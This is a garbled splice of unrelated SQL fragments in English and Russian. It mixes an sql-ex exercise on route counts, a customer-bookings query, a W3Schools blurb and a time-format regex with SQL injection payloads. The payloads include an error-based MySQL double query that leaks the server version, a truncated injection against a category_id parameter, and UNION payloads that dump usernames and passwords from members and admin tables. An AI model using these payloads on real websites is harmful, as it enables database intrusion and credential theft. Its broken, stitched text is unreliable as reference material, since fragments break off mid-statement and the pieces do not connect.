(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) '+(select 1
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
select count(*) from (SELECT TOP 1 WITH TIES count(*) c, town_from, town_to from trip group by town_from, town_to order by c desc) as t. Задание: 68 (Serge I: 2010-03-27). Найти количество маршрутов, которые обслуживаются наибольшим числом рейсов.
SELECT c.name, c.address, c.postcode, c.dob, c.mobile, c.email, COUNT(*) AS purchased, COUNT(b.the_date > $now OR NULL) AS remaining FROM customers AS c INNER JOIN bookings AS b ON b.id_customer = c.id GROUP BY c.id ORDER BY c.name ASC.
Пример: SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members Это позволит объединить результаты из таблиц
Payload: category_id=24' AND (SELECT 3422 FROM(SELECT COUNT(*),CONCAT(0x71706a7171
Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, PHP, Python, Bootstrap, Java and XML.
UNION The UNION command is used to select related information from two tables, much like the JOIN command.
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
Время в формате HH:MM:SS (от runcore): ^([0-1]\d|2[0-3])(:[0-5]\d){2}$.